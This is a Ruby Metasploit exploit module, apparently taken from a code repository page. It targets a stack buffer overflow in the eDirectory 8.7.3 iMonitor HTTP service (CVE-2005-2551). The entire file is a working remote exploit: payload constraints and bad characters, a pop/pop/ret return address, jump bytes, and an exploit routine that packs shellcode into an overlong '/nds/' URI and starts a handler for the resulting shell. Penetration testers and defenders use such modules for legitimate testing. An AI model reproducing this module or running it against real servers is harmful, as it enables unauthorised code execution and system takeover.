72 lines
1.7 KiB
Ruby
72 lines
1.7 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::Http::EDirectory_IMonitor_Overflow < Msf::Exploit::Remote
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include Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Overflow',
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'Description' => %q{
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This module exploits a stack overflow in eDirectory 8.7.3
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iMonitor service. This vulnerability was discovered by Peter
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Winter-Smith of NGSSoftware.
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},
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'Author' => [ 'anonymous' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '18703'],
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[ 'CVE', '2005-2551'],
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[ 'BID', '14548'],
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[ 'MIL', '89'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 4150,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
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],
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'DisclosureDate' => 'Aug 11 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8008)
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], self.class)
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end
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def exploit
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c = connect
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# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
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uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
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uri << "\xe9\xbd\xef\xff\xff"
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uri << "B" * 0xD0
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res = c.send_request(c.request({ 'uri' => uri }), -1)
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sleep(4)
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handler
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disconnect
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end
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end
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end
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